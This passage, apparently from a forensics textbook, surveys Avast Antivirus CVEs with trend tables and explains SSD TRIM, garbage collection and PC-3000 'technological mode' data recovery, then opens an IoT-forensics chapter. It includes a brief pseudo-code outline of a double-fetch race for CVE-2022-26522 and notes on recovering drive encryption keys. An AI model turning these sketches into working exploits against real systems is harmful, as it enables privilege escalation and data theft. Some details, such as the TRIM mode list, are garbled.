September 20, 2016, and examined Petya and Micha ransomware in further detail. 
These ransomware are uncommon in that they combine two separate techniques to 
encrypt Master Boot Record (MBR) or Master File Table. Petya deploys the Mischa 
module, which individually encrypts files, if it lacks the permissions to access the 
MBR on the HDD (Hard Disk Drive).

12.5 � VULNERABILITIES IN AVAST ANTIVIRUS

Some of the major vulnerabilities of Avast Antivirus as shown in Figure 12.2 are as 
follows:

	•	 Denial of Service
	•	 Restriction Bypass
	•	 Privilege Escalation
	•	 Code Execution

12.5.1 � Vulnerabilities by Type

Different vulnerabilities found in Avast Antivirus are Denial of Service, Remote 
Code Execution, Restriction Bypass, Privilege Escalation, Cross-site Scripting, and 
Sensitive Data Exposure. From these vulnerabilities, Restriction Bypass was discov-
ered for a maximum time ranging from 2017 to 2022 as shown in Figure 12.3 [16].

FIGURE 12.2  The major vulnerabilities of Avast Antivirus.
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12.5.2 � Vulnerabilities by Year

A total of 46 vulnerabilities were discovered in Avast Antivirus till the year 2022, of 
which a maximum of 12 vulnerabilities were discovered in 2020 as shown in Figure 
12.4 [16].

FIGURE 12.3  Vulnerabilities by type [16].

FIGURE 12.4  Vulnerabilities by year [16].
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12.5.3 � Vulnerabilities Trends

Table 12.1 shows the trends of vulnerabilities discovered in Avast Antivirus till 2022. 
The percentage weightage of each vulnerability is shown in Figure 12.5 [16]. A total 
of 17 vulnerabilities of high severity were discovered between 2017 to 2022, of 
which Restriction Bypass had 35% weightage.

12.5.4 � Vulnerabilities in 2022 and 2021

Two latest vulnerabilities were discovered in 2022. These flaws were present in 
Premium Security version of Avast Antivirus. Both the vulnerabilities cause restric-
tions bypass and privilege escalation.

TABLE 12.1
Vulnerabilities Trends [16]

Year Denial of Service Remote Code Execution Restriction Bypass Privilege Escalation

2017 1 1 2 0
2018 0 0 0 0
2019 0 2 1 0
2020 1 0 2 0
2021 0 0 1 4
2022 2 0 0 0
Total 4 3 6 4

FIGURE 12.5  Weightage of vulnerabilities.
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12.5.4.1 � CVE-2022-26522
The issue allows a local user to acquire escalated system access. The vulnerability 
exists because the “Anti Rootkit” driver within the kernel driver “aswArPot.sys” in 
aswArPot+0xc4a3 does not have sufficient security limitations. The vulnerable code 
is discovered in a socket connection handler in the kernel driver aswArPot.sys. The 
vulnerabilities that reside in aswArPot.sys are shown through the following steps 
[17–18]:

12.5.4.2 � User Mode

	 1.	 Initiate a socket connection
	 2.	Set           
                          pebPtr->ProcessParameters->
                          CommadLine.Length=2;
	 3.	Simultaneous Loop
                          while(1) {
                               pebPtr->ProcessParameters->
                               CommadLine.Length ̂=20000;
                          }

12.5.4.3 � Context Switch and Kernel Mode

	 4.	Avast’s first fetch (2) Value 2 being read
	 5.	Avast’s second fetch (20000) Value 20000 being read

When the vulnerability is exploited, the user receives the following OS notice shown 
in Figure 12.6 [17].

12.5.4.4 � CVE-2022-26523
The second vulnerable function is at aswArPot+0xbb94. This function can lead to 
security restrictions bypass and privilege escalation from a local user to higher level 
[17, 18] (Table 12.2).

FIGURE 12.6  Outcome [17].
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12.5.4.5 � CVE-2022-28965

12.5.4.5.1 � Analysis Description
Before version 21.11.2500 of Avast Premium Security, there were several Dynamic 
Link Library (DLL) hijacking vulnerabilities that could be exploited via the pro-
grams instup.exe and wsc proxy.exe to trigger DoS attacks and to implement arbi-
trary code (Figure 12.7) [19].

12.5.4.6 � CVE-2022-28964

12.5.4.6.1 � Analysis Description
Avast’s Antivirus pro version Premium Security prior to v21.11.2500 (build 
21.11.6809.528) has an arbitrary file write vulnerability that enables attackers to 
launch a DoS attack using a specially crafted DLL file (Figure 12.8) [20].

Mitigation: These Avast vulnerabilities have been patched in version 22.1.

12.5.4.7 � 2021
There were many different types of vulnerabilities discovered in Avast Antivirus 
in 2021. Most of them were discovered in April. Almost all the vulnerabilities had 
medium and high CVSS severity. The list of the 2020 year’s vulnerabilities is shown 
in Figure 12.9 [16].

TABLE 12.2
CVE-2022-26522 and CVE-2022-26523 [18]

Parameter Value

Risk Low
Patch Available YES
Number of Vulnerabilities 2
CVE-ID CVE-2022-26522

CVE-2022-26523
CWE-ID CWE-264
Exploitation Vector LOCAL
Public Exploit N/A
Vulnerable Software Avast Antivirus

FIGURE 12.7  CVE-2022-28965 [19].
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12.5.4.8 � CVE-2021-45337

12.5.4.8.1 � Analysis Description
Prior to version 20.8 of Avast Antivirus, there was a vulnerability that allowed local 
users with SYSTEM rights to achieve elevated access by “hollowing” the wsc_proxy.
exe process, which might result in the acquisition of antimalware Antimalware–
Protected Process Light (AM–PPL) protection (Figure 12.10) [21].

FIGURE 12.8  CVE-2022-28964 [20].

FIGURE 12.9  List of 2021’s vulnerabilities [16].

FIGURE 12.10  CVE-2021-45337 [21].
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12.5.4.9 � CVE-2021-45336

12.5.4.9.1 � Analysis Description
Prior to version 20.4 of Avast Antivirus, the Sandbox component’s privilege esca-
lation vulnerability allowed local sandboxed code to achieve system privileges by 
exiting the sandbox and utilizing system Inter-Process Communication (IPC) APIs 
to gain elevated privileges (Figure 12.11) [22].

12.5.4.10 � CVE-2021-45335

12.5.4.10.1 � Analysis Description
Prior to version 20.4 of Avast Antivirus, the sandbox component contained an inse-
cure permission that might be abused by a local user to manipulate the results of 
scans, dodge detection, or delete arbitrary system files (Figure 12.12) [23].

12.5.5 �I mpact of Avast Antivirus Vulnerabilities

Denial of Service: In DoS, the attacker sends multiple requests to the victim’s 
server continuously to crash the system, and users or clients are unable to 
use the features and services of software.

FIGURE 12.11  CVE-2021-45336 [22].

FIGURE 12.12  CVE-2021-45335 [23].
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Privilege Escalation: In this case, attackers can gain access to privileges 
of a higher-level user by exploiting an application for which they are not 
entitled to.

Remote Code Execution: In this type of vulnerability, an attacker can execute 
its malicious code to take over the admin privileges and hack the system.

Restriction Bypass: It is a type of vulnerability that allows un-authenticated 
users to change or penetrate an application or software.

Cross-site Scripting: It is a flexible attack that permits a wide range of social 
engineering and client-side attacks. User accounts can be hijacked, pass-
words stolen, sensitive data exfiltrated, and access to your client machines 
gained.

Sensitive Data Exposure: When an attacker gains access to sensitive data 
because of a data breach, users are exposed to that information. A firm might 
lose millions of dollars and suffer reputational harm from data breaches that 
reveal personal information.

12.5.6 �O perating System Associated with Vulnerability

Windows: In 2011, Avast introduced its free antivirus for Windows, where Avast 
Antivirus was used to protect consumers from ransomware like WannaCry, BadRabbit, 
and Not Petya. However, there were several vulnerabilities in Avast Antivirus, one 
of which is the Uncontrolled Search Path Element vulnerability, which impacted 
all versions of Avast Antivirus earlier to 19.8 (CVE-2019-17093 is the CVE-ID for 
this vulnerability). A protected-light process can be entered by an attacker using 
the WINDIR/system32/wbemcomn.dll vulnerability (PPL), potentially bypassing 
various self-defense measures. All Windows Management Instrumentation (WMI)-
enabled components, including AVGSvc.exe 19.6.4546.0 and TuneupSmartScan.dll 
19.1.884.0, are affected [24].

Linux: Avast Antivirus is also available on the Linux operating system and was 
released in 2015 but was not much used for Linux so there are not many vulnerabili-
ties in Avast Antivirus. In 2020 one latest vulnerability of interpretation conflict was 
discovered. A manipulated ZIP package can be used to circumvent virus detection. 
This affects antivirus for all Linux versions earlier to 12 definitions 200114-0 [25].

Others: Avast also has antivirus for other operating systems like Android and Mac 
OS, and only a few vulnerabilities were discovered for these operating systems.

12.6 � ANALYSIS

To effectively manage risks, it is essential to comprehend vulnerability design. 
Examining trends in CVE and National Vulnerability Database (NVD) from 2017 to 
2022 is the major purpose of this study. Over the course of five years, a total of 27 
CVEs were found. We obtained their CVSS ratings from the NVD and then analyzed 
the general frequency, severity, and CVSS base metrics. It was observed that restric-
tion bypass vulnerabilities were the most frequent type, allowing unauthenticated 
users to change or penetrate an application or software. The discovery shows that the 
frequency of all vulnerabilities increased from 2017 to 2020 and slightly decreased 
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from 2020 to 2022 also, the percentage of high-severity incidents reduced for that 
period. It was concluded that 35% of the total number of vulnerabilities were utilized 
without proof through restriction bypass. The conclusions of this study can assist 
information security experts in focusing their efforts on avoiding and limiting the 
effect of attacks, as well as affecting the development of security plans produced by 
IS professionals.

12.7 � RESULTS AND CONCLUSION

The process of making information about approximations of faults in currently oper-
ational systems, applications, firmware, and business operations public is known as 
vulnerability disclosure. The goal is to ensure that product manufacturers address 
problems as soon as consumers can take precautions against them, rather than wait-
ing for bad men to identify and take advantage of those same weaknesses. The 
vulnerabilities are typically discovered by security researchers who look for them 
specifically. Because they are being sought after by cybercriminals and hostile for-
eign governments, it is possible that they have also found them. They must be con-
stant as soon as they are discovered and before they can be used against them. Users 
can keep all their devices up to date with the newest features and security patches 
from over 150 software vendors by using Avast Antivirus patch management. This 
not only provides endpoint users with all their software’s most recent features but 
also takes care of the most recent security threats. Avast antivirus will provide clients 
with secure software starting in 2021. To lower security risks susceptible to cyberat-
tacks and maintain compliance standards, patch management is crucial. Users are 
better able to prioritize vulnerabilities, address problems, and interact with stake-
holders after having this knowledge.
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13.1 � INTRODUCTION

13.1.1 � Background of Solid-State Drive

How an SSD stores data: Unlike magnetic disks, on which data is written more or 
less sequentially although traditional drives can also recall bad block forwarding 
tables and (SMR) features, solid-state drives (SSDs) do not even talk about linear 
recording. The data is divided into blocks, which will be written on several NAND 
chips in parallel mode, thanks to parallel recording that such high data transfer rates 
are achieved [5]. Already at this stage we have a record that is somewhat similar to 
the record of information on a RAID 0 array (stripe). But even within a single micro-
circuit, data is not stored in a linear sequence. This is due to the block-forwarding 
mechanism.

The need to redirect physical NAND blocks originated in the fight against prema-
ture cell wear. As we know, the disadvantage of NAND SSDs is the limited number 
of rewriting cycles. As a rule, manufacturers guarantee the operation of the drive 
within 1,000–1,500 rewriting cycles. Due to factors such as an increased write ampli-
fication factor (a factor showing how many physical cells must be overwritten to 
preserve a certain amount of information), this number can be significantly lower. 
Obviously, with standard block addressing, frequently overwritten cells, for exam-
ple, those where the file system records are located would fail quickly enough, lead-
ing to data loss. Manufacturers employ sophisticated load-balancing schemes to 
combat uneven wear. The disk controller knows how many times each physical cell 
has been written. In order to write to cells with the least wear and tear, the controller 
replaces the addresses of the cells: writing a data block to a certain “physical” address 
can actually be carried out to any cell on any of several memory chips. All these dif-
ficulties lead to the fact that even after removing the chips, it will be very, very dif-
ficult to recover a single file. First, you have to understand the addressing, finding out 
which address ranges and which chips correspond to each data block addressed via 
the SATA protocol. This information is stored in the SSD translation table; table 
formats differ depending on the controller model. If the translation table is damaged, 
then it will be very, very difficult to restore the linear file system during the analysis 

How to Recover Deleted 
Data from SSD Drives 
after TRIM

Hepi Suthar
Rashtriya Raksha University, Gandhinagar, India

13

http://dx.doi.org/10.1201/9781003386926-13


How to Recover Deleted Data from SSD Drives after TRIM� 249

of individual chips, and for models with ten or more chips it is almost impossible due 
to the excessive labor intensity. Table 13.1 differentiates between SSD and HDD.

13.1.2 �A dditional Difficulties

We are used to the fact that the cost of electronics goes down from year to year. To 
stay afloat, SSD manufacturers are forced to continually cut costs by using thinner 
versions of their workflow and increasing storage density. If a few years ago SSDs 
were common, each cell of which could store up to two bits of information (MLC), 
now on store shelves there are disks made using TLC technology, and the cheapest 
models (e.g., the new Samsung 860 QVO line) do use QLC technology saving 4 bits 
in each cell. All this leads to a sharp drop in both the speed of the drives and the reli-
ability of data storage:

TABLE 13.1
SSD versus HDD [19]

Features SSD HDD

Mechanism NAND NOR Flash Memory Magnetic rotating platters
Capacity Up to 1 TB (notebooks)

Up to 4 TB (desktops)
Up to 2 TB (notebooks)
Up to 10 TB (desktops)

Durability Shock-resistant Fragile
Power Consumption Average 2W Average 10W
Endurance MTBF > 2 million hours MTBF < 700,000 Hours
Noise None Present
Operating System Boot-Time Average of 10–15 seconds Average of 30–40 seconds
File Opening Speed 30% faster than HDD Slower than SSD
Speed >200 MB/s 50–120 MB/s
Vibration No Vibration Moving parts cause vibration
Affected by Magnetism No effect Can erase data
Full Drive Encryption Supported Supported
Cost Costly Cheap compared to SSD
Heating Less High
Size Compact Large
Figure
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To maintain acceptable reliability and performance of drives based on ever-lower-
quality memory chips, SSD manufacturers are forced to complicate algorithms and 
methods of storing data every year. This is the only way to optimize the work of disks 
to show an acceptable resource and speed.

So, in modern TLC (Triple-level cell) and QLC (quad-level cell) drives as well as 
some models with MLC (Multi Level Cell) chips, a rather voluminous buffer area is 
used, data into which is written in SLC mode. If necessary, the data from the buffer 
will be compressed and overwritten in MLC or TLC mode, but depending on the 
model, they can be kept in the original state for a rather long time. Extracting infor-
mation from such chips bypassing the controller is a separate headache [14–16].

Hardware encryption: We will not go into the details of the hardware encryption 
of SSD drives. Suffice it to mention that the ability to enable hardware encryption is 
present in most modern models, and on a number of devices, encryption is active out 
of the box. In this case, the user may not know anything about the fact that the data is 
encrypted inside the drive: up to the moment of “turning on” encryption, users 
through the corresponding application will encrypt the data with a cryptographic key, 
which will be stored in clear text and available by default. However, the cryptographic 
key will be instantaneously encrypted with an encryption key as soon as encryption 
is “turned on.” You now need to find the encryption key in order to access the data.

Even if the data encryption key is stored on the disk in an open form, understand-
ing the encryption methods and algorithms for each specific drive is a time-consuming 
and slow process. All this leads to the fact that the police are engaged in the analysis 
of microcircuits in exceptional cases when it is extremely important to gain access to 
information. In ordinary cases, they prefer to simply take a disk image using standard 
methods. If it is so difficult to recover data by analyzing chips, then what about read-
ing the contents of a disk through its own controller? All data can be read from the 
working drive using standard methods, except for deleted ones, and here’s why.

13.1.2.1 � How SSDs Erase Data: Even More Difficult
In addition to the limited write resource of individual cells, the NAND memory used 
in SSDs has another feature. Writing to a cell takes longer than reading, but re-
writing to an already written cell will be much slower. The fact is that you can write 

FIGURE 13.1  SLC, MLC, and TLC.
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a fresh portion of data only into an empty cell. If a cell already contains data, then to 
overwrite it, the data must first be deleted by completely clearing the cell. The cell 
cleaning process is extremely slow; moreover, it is impossible to clear just one cell. 
The basic element of data storage in an SSD is the cell. One cell is one bit of informa-
tion, or two, or three, or four, depending on the type of memory installed in the SSD 
(SLC, MLC, TLC, or QLC) and on the charge that was written there. For example, 
Crucial MX550 hard drives equipped with TLC memory with three-dimensional lay-
out (three data bits are stored in each cell) can use some of the cells in SLC mode 
(one data bit per cell) to speed up writing. In this mode, the charge in the cell can be 
lower than when recording in the TLC mode, the write speed is higher, and the wear 
of such a cell will be less. In SSD data read and write on specific data cell location 
is not possible, since the days of magnetic drives, we have become accustomed to 
working with sectors (512 bytes). It is with sectors that all file systems work and 
operate. However, NAND memory does not operate with the concept of a “sector.” 
Instead, “pages” are used, which are combined into “blocks” [10, 11]. Page - a group 
of bytes; as a rule, the page size in bytes is 528, 2112, 4,320, 8,640, 9,216, 18,592, 
etc. A page is always the minimum amount of bytes that we can read from NAND 
Flash Memory in one clock cycle [1, 10]. It needs just one byte of information. The 
whole page will be read, including the required byte.

Each page contains data (their size is a multiple of a power of two, for example, 
512, 2,048, 4,096, 8,192, 16,534 bytes) and a service area (markers and ECC (Error 
correcting code) correction codes for each page). Thus, two pages 8,640 and 9,216 
differ only in ECC correction capacities, since both can contain a maximum of 16 
sectors with data (i.e., 8,192 data bytes + service markers + ECC). The difficulties do 
not end there. If you can read each individual page, you can write data only in a 
whole block. A block is a group of pages. Quite a large group; typically block sizes 
are 64, 128, 256, or 512 pages. SSD controllers read data in pages, and write and 
erase data in whole blocks. The number of write cycles to NAND memory is limited, 
and it is quite small. Accordingly, the SSD controller tries to minimize block reuse 
within existing constraints.

An attempt to change just one byte of information might look like this:

	•	 The controller reads a block of data from NAND memory in RAM
	•	 Will erase the block in NAND memory
	•	 Change the byte in the RAM block
	•	 Will write the changed block with the changed byte back to the NAND 

memory, but in a different place to level out wear.

So, every time a new piece of information is written, the SSD controller will try 
to use the blocks with the least number of rewrites. In practice, this means that in 
the process of writing a new portion of data to a block with a specific address, the 
SSD controller will instantly change addresses: the desired “physical” address will 
be assigned to another, unoccupied block, and the previously recorded block will 
receive a different address or even go to an unaddressed backup pool. The controller 
will mark the block as unused in order to clear its contents in free time, preparing the 
block to write the next portion of data.
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13.1.2.2 � Reserve Cells
The actual capacity of any SSD drive is at least 5–10% higher than the passport size. 
For example, Crucial BX drives offer 480GB, while the MX series offers 500GB of 
available storage. The actual size of both models is 512-GB. The missing gigabytes 
make up a spare pool that contains replacement cells to forward bad blocks and speed 
up writes. The capacity of the spare pool may be larger in different drives. The capacity 
of modern chips is not a multiple of a power of two, as it used to be. In modern drives, 
one microcircuit can contain, for example, 8.7 GB instead of the declared eight [23].

It is important for us that in the reserve non-addressable area there may be blocks 
that contain quite actual data. However, it is not possible to access blocks from the 
spare pool using standard SATA commands; accordingly, it is impossible to recover 
information from this area. Even if the only operation on disk would be to write to a 
small Windows paging file, due to block redirection at the controller level, all blocks 
without exception, including blocks from the reserve pool, will soon be “clogged” 
with information. Manufacturers solve this problem by using a background data 
cleaning mechanism, a kind of garbage collection [6].

The operating system will tell the controller which blocks can and should be 
cleared using the TRIM command. If the user performs any type of activity with data 
like deleting a file, formating a secondary disk, or creating a new partition, the sys-
tem will send the SSD controller a list of blocks that no longer contain useful data, 
which must be cleared [12].

In the research “Sweeping the Tracks. How to destroy data quickly and irrevoca-
bly” we examined the mechanism for deleting information from an SSD. By means 
of the TRIM command, an array of block addresses to be cleared is transmitted to the 
controller. From this moment, the procedure in the background that removes data 
from blocks will begin. The remaining steps are completely independent of user or 
operating system actions: the controller algorithms will begin removing superfluous 
blocks and keep doing so, even if you remove the SSD from the computer and install 
it on another computer. A specialized device for blocking recording will not help 
either (these are the ones used by the police to take an image of disks).

Yes, SSDs remove evidence and cover their tracks on their own. We found out that 
if the TRIM command is sent to the disk, accidentally or not by accident, the data 
will be deleted in the background - including directly at the time when the expert is 
taking the disk image. In order for the garbage collection process to start, it will be 
enough to supply power to the disk it does not even need to be connected to the SATA 
bus. Thus, SSDs do “cover the tracks” and “destroy evidence” on their own, regard-
less of the actions or omissions of the extractor. But what will happen if you still try 
to read data from “remote” cells, to which the garbage collector has not yet managed 
to reach? In the end, we know that resetting data from cells is far from instantaneous, 
but rather a rather lengthy process. A quick formatting of the entire partition will start 
the garbage collection process, but this process will work out for a fairly long time-
up to half an hour on sufficiently capacious drives [25].

The use of garbage collection and the TRIM command in SSD drives greatly com-
plicates or makes it impossible to access remote information. When reading data from 
cells that have already received a TRIM instruction but haven’t been physically cleaned, 
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the result will depend on the implementation of the “data after TRIM”mechanism in a 
particular drive model. A modern SSD can only work in one of three modes:

	 1.	Non-deterministic TRIM: Its status is indicated as uncertain. Between tri-
als, the results could differ, and the controller might output genuine data, 
zeros, or anything else.

	 2.	SATA bit 169 for word: Although it seldom occurs now, unidentified 
Chinese drivers still surprise periodically.

	 3.	Deterministic TRIM (DRAT): The controller must supply the same value 
for all cells after the TRIM instruction – typically, but not always, zeros. 
Word SATA 69 bit 1 is the most widely used option.

	 4.	SATA Word 69-bit Deterministic Read Zero after TRIM (DZAT): This 
ensures zeros will return after trimming 5. It is frequently discovered in 
drives designed for RAID arrays.

To determine which type a particular SSD model belongs to, use the hdparm -I 
command.

Usage example:

$ sudo hdparm -I / dev / sda | grep -i trim
* Data Set Management TRIM supported (limit 1 block)
* Deterministic read data after TRIM

Practically speaking, this merely implies that you should do so right after erasing 
the data (at least one file at a time, at least by formatting, even quickly, at least by 
breaking sections), the information will become inaccessible for reading both from a 
computer and on a special stand. In the usual ways, even with low-level commands, 
it is impossible to access the real contents of the cells after TRIM.

13.1.2.3 � Life after TRIM: SSD Technology Mode
For a long time it was believed that extracting data from SSD blocks to which the 
TRIM command was applied, but the data from which has not actually been cleared 
yet, can only be done by quickly de-energizing the device and physically remov-
ing the memory chips. This path is long and difficult; it requires high qualifications 
and special equipment. Retrieving data from a drive with only four NAND memory 
chips can take up to two weeks, and not every laboratory will agree to work with 
drives with ten microcircuits [13]. Until recently, there was no alternative to this 
method. Turning on the SSD inevitably led to the deletion of data, even if the drive 
was connected via a special adapter that blocks write operations at the SATA level. 
Nevertheless, there is a way out, and its name is technical mode.

All drives, no matter which ones, be it HDD, SSD, or even a simple USB “flash 
drive,” have several modes of operation [2]. For example, the “standard” mode is 
active by default for a drive. In it we get access to data, we can write and read infor-
mation, erase and overwrite data. At the same time, all drives also have the so-called 
“factory mode,” or, as it would be more correct to call it, “technological mode.” 
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While in technological mode, the drive can receive and execute low-levels com-
mands coming from the outside via the ATA interface (of course, any other, for exam-
ple, USB or PCI-E, depending on the type of external interface used) [7]. Working in 
normal mode, the drive cannot execute low-level commands, but in technological 
mode it can. The technological mode was invented and used by drive manufacturers 
at the manufacturing plant. In traditional hard drives, it was used for the needs of 
initial drive diagnostics and identifying faulty HDD heads at the time of testing [9]. 
In SSDs, manufacturers use technology mode to detect bit errors in NAND memory 
blocks [4, 24. In addition, the technological mode can be used by manufacturers to 
access stored data when the drive is returned under warranty or with a data recovery 
request. Experts need to understand the reasons why the drive has failed, and for this 
they need to gain access to the microprogram stored in the device. This can be done 
using the technological mode, when the drive cannot work in standard mode due to 
damage to the main firmware [17, 18].

13.1.2.4 � Manufacturers Use Technological Mode
The technological mode is used by all manufacturers of devices for storing informa-
tion equipped with a controller. Even a small flash drive straight from the basements 
of Guangzhou will have a technological mode described in the specifications of the 
controller manufacturer, for example, the popular Phison PS2251-07. Technological 
mode is available both in SATA drives and in devices with NVME, USB, and others.

Technological Mode Capabilities - The possibilities that the technological mode 
opens up to an expert are truly endless. Here are just a few things that an expert can 
do through specialized commands:

	 1.	Reading “raw” data from a physical block without transformations (anal-
ogous to reading microcircuits, but without unsoldering the chips; data 
decoding will be required since the block contains information encoded for 
error correction).

	 2.	Reading a specific logical block with transformations (eliminating MIX 
between pages and blocks, performing page transformations by separating 
data and service bytes from ECC from each other, decrypting data by the 
controller).

	 3.	For encrypted drives – search for a module with a password key. This point 
is of particular interest to law enforcement and forensic experts; it deserves 
a separate consideration in a separate article [21]. Here we just note that 
the popular BitLocker drive encryption algorithm, which works as built-in 
protection in Windows 10, on SSDs often uses an SSD controller to encrypt 
data. Accordingly, using the technological mode allows you to find the data 
encryption key and decrypt the contents of the drive, which is protected by 
the seemingly reliable BitLocker method.

	 4.	Reading blocks outside the broadcast (blocks from the categories remapped, 
relocated, and reserved).

	 5.	Reading SMART attributes.
	 6.	Search and read service blocks containing SSD management firmware.
	 7.	Saving service structures to a file for later analysis.
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Let us separately note the two most important features of access to data from the 
technological mode. The first feature is to temporarily disable background control-
ler processes, including a garbage collection process that clears blocks in the back-
ground after a TRIM command. The second is full access to unaddressed blocks from 
the overprovisioned area. What does this mean in practice? In fact, these two features 
turn the prevailing picture of the world in which an expert cannot stop the destruction 
of evidence without soldering the memory chips.

As we remember, the TRIM command is sent to the controller from the operating 
system side. By means of this command, the operating system lets the drive know 
that certain blocks are no longer needed by the system and do not contain useful data. 
The rest is up to the controller itself. Blocks are marked as unused first. The further 
depends on many factors: the load on the drive (whether I-/-O operations are per-
formed and, if so, how intensive), the power of the controller, and the micro-program 
that controls it. We came across drives that paused I-/-O operations (in fact, the user 
observed a temporary “freeze” of the drive) until the completion of clearing blocks 
after TRIM [8].

There were also models that started the cleaning process only a few seconds after the 
drive’s load dropped. Finally, we came across models that processed the TRIM com-
mand, as they say, “carelessly”: blocks were cleared only when the stock of free blocks 
came to an end both in the address zone of the drive and in the non-addressable spare 
space overprovisioned area. The non-addressable spare space in an SSD is additional 
blocks of memory that are not included in the officially declared capacity of the drive.

Typically, the capacity of an SSD is larger than the stated capacity. Each manufac-
turer can reserve this or that capacity for certain needs. The additional memory area 
goes to the spare area for sector remapping, SLC cache, and the firmware storage area.

Each manufacturer has its own priorities. Therefore, on the same set of NAND 
microcircuits with a total capacity of 530 GB (we remember that the physical volume 
of modern microcircuits is not always a multiple of two), you can create drives with 
an officially available volume of 480, 500, 512 and even 525 GB. User data can also 
fall into unaddressed space after the block has been marked as unused with the TRIM 
command. In traditional ways, through the normal operating mode of the drive, it is 
impossible to access such data (unless you solder the microcircuits). In technological 
mode, it is possible to access the entire LBA (Logical block addressing) space, even 
including the non-addressable space.

13.1.3 �O bservations/Results

Using technological mode to extract information: In this short chapter, we have come 
to the most important thing using the capabilities of the technological mode of SSD 
drives to extract information [22]. Unfortunately, due to the huge variety of drives, 
the number of controller manufacturers and drives themselves, which often use their 
own firmware in standard controllers, we could not describe all the details of the 
process in a short article. In this chapter, we will describe the general approach to the 
procedure. For users wishing to familiarize themselves with the details of the pro-
cess, we recommend the following technical articles: features of SSD technological 
mode and the use of PC-3000 Suite for data access. recovery example SM2246EN 
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(relevant for SM2246XT, SM2256K, SM2258G, SM2258H), and recovery example 
for PS3109 (relevant for PS3105, PS3108, PS3109, PS3110, PS3111, TC58NC1000, 
TC58NC10100). In general, the procedure for extracting data from an SSD using 
technological mode looks like this [20].

First and foremost, before applying voltage, the SSD must be switched to techno-
logical mode or its equivalent (Factory Mode, Safe Mode, and so on). For each con-
troller model and each SSD model, not to mention different manufacturers, the 
method of putting the device into technological mode will be different. But first of 
all, it is necessary to block the controller from accessing the memory chips. Such 
blocking is carried out by closing the service contacts on the PCB board.

It prevents reading and initializing firmware from memory chips; accordingly, the 
controller cannot read the forwarding table and will not start garbage collection. 
Blocking access to memory microcircuits will also help initialize the damaged drive, 
which goes into a circular cycle “load microcode – error – reset – load microcode,”, 
since in this case it is impossible to send a command to the controller to activate the 
technological mode due to its load (this is expressed by constantly active ATA-
command BSY-state).

This is how the blocking of access to memory chips of the popular, albeit out-
dated, Crucial BX100 drive looks like.

Next, we use the PC-3000 complex (developed by AceLab) to transfer the drive to 
the technological mode, which is performed by sending a special command to the 
SSD controller. Finally, the LDR firmware code is loaded into the controller’s RAM, 
to which control will subsequently be transferred.

FIGURE 13.2  TRIM flow.
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Next, we use the PC-3000 complex (developed by AceLab) to transfer the drive to 
the technological mode, which is performed by sending a special command to the 
SSD controller. Finally, the LDR firmware code is loaded into the controller’s RAM, 
to which control will subsequently be transferred.

If the firmware is loaded successfully, the next step is to restore the translation 
table, with the help of which physical addresses are forwarded to logical ones.

The translation table will be read from the SSD memory chips. Damaged transla-
tion tables will be rebuilt if necessary.

The translation table must be loaded into the controller’s random access memory 
(RAM).

FIGURE 13.3  SSD PCB.

FIGURE 13.4  Amount of block erased by TRIM.
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FIGURE 13.5  Workflow for SSD forensic [21].

FIGURE 13.6  PC - 3000 express.



How to Recover Deleted Data from SSD Drives after TRIM� 259

FIGURE 13.7  PC - 3000 express RAM access.

FIGURE 13.8  PC - 3000 express data extractor.
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Next, the data extractor application is used, through which data is extracted from 
the drive. The data is saved as an image. Please note that in this mode you can also 
access those blocks for which the controller has already received the TRIM com-
mand but whose contents have not yet been erased [22].

Data can also be retrieved as a file system.

FIGURE 13.9  PC - 3000 express file system data extraction.

FIGURE 13.10  File recovery flow.
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13.2 � CONCLUSION

We looked at the WD SSD storage and deletion features of modern SSDs and sug-
gested using SSD technology mode for data retrieval as a less time-consuming alter-
native to retrieving NAND memory chips [3]. By analyzing this area, more data can 
be extracted and restored. Therefore, in this chapter, we proposed four new methods 
that make it possible to extract data from the spare area. The effectiveness of the four 
new methods will be an issue in the future. If these methods become possible, it will 
be useful because more data can be extracted and more data can be visualized.
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14.1 � INTRODUCTION

Many new technologies have evolved to handle the highly complicated problems posed 
by unsecured devices and networks, which can result in unrestricted assaults. These 
technologies make up cybersecurity (Ambika, 2022) (Singer & Friedman, 2014) for 
smart cities. It deals with the incredibly complex issues brought on by unprotected 
devices and networks that might lead to unrestrained attacks. Cybersecurity for smart 
cities is comprised of several technologies. Law enforcement and the government 
are under pressure from this rise in criminal activity. A quick reformulation was 
required due to the transition from document-based evidence to digital/electronic-
based evidence of guidelines and regulations. Figure 14.1 details the components of 
cyber forensics.

Regardless of the digital device that was used to commit the crime, digital foren-
sics, also known as computer forensics, is a subfield of forensic science that describes 
the method of forensic investigation of crimes that occur in computer networks or 
computer systems that have been used as weapons for cyberattacks or to carry out 
criminal activities. Its goal is to extract evidence from any digital device using soft-
ware and predefined techniques. The evidence is presented in court for criminal and 
civil proceedings. It meets the three criteria of comprehensiveness, authenticity, and 
objectivity. Figure 14.1 represents the components of cyber forensics.

IoT (Ambika, 2021; Nagaraj, 2021) criminology is a division of computerized 
legal sciences that researches web of things content to confirm web wrongdoings. It 
is a significant area for identifying, acquiring, evaluating, reconstructing, and expos-
ing activities of intruders as well as Internet of Things events. Connecting small 
devices to the Internet has opened up new opportunities for problems ranging from 
behavioral characteristics to technical aspects.

Using the metamodeling technique known as the Common Investigation Process 
Model (CIPM) for IoTFs, the work (Saleh, Othman, Al-Dhaqm, & Al-Khasawneh, 
2021) aims to propose standard investigation processes for IoTFs (Stoyanova, 
Nikoloudakis, Panagiotakis, Pallis, & Markakis, 2020). Based on selection criteria, it 
finds and gathers IoTF models and frameworks. It accumulates and extricates exami-
nation processes from chosen models. There are distinct investigation procedures for 
each model. It maps the removed examination processes in light of likenesses and 

Early Validation of 
Investigation Process 
Model

N. Ambika
St. Francis College, Bangalore, India

14

http://dx.doi.org/10.1201/9781003386926-14


Early Validation of Investigation Process Model� 265

recurrence. The highest-level investigation processes will be proposed as a standard 
investigation process, and those with similar meanings or activities will map together. 
The whole investigation team, trusted forensic toolkits, incident response plans, and 
seizure investigation sources are all organized through the preparation process. The 
assortment cycle is utilized to gain and save entire information. The analysis method 
is used to reconstruct events from the timeline, examine these events, and identify the 
criminal. Investigation will be summarized and concluded in the final report process.

The suggestion is modified based on the different kinds of attacks in the environ-
ment. If the type of attack is known, the investigation can be done in a better manner. 
It evaluates the system early by 10.42% compared to previous work.

The work is divided into eight sections. The section “Types of Cyber Crimes” fol-
lows the introduction. Literature survey is briefed in the third section. The proposed 
work is detailed in the fourth section. Simulation is described in the fifth section. The 
sixth section details the analysis of work. Future enhancements are detailed in the 
seventh section. The work concludes in the eighth section.

14.2 � TYPES OF CYBER CRIMES

	•	 Hacking: Accessing computer systems or networks without authorization to 
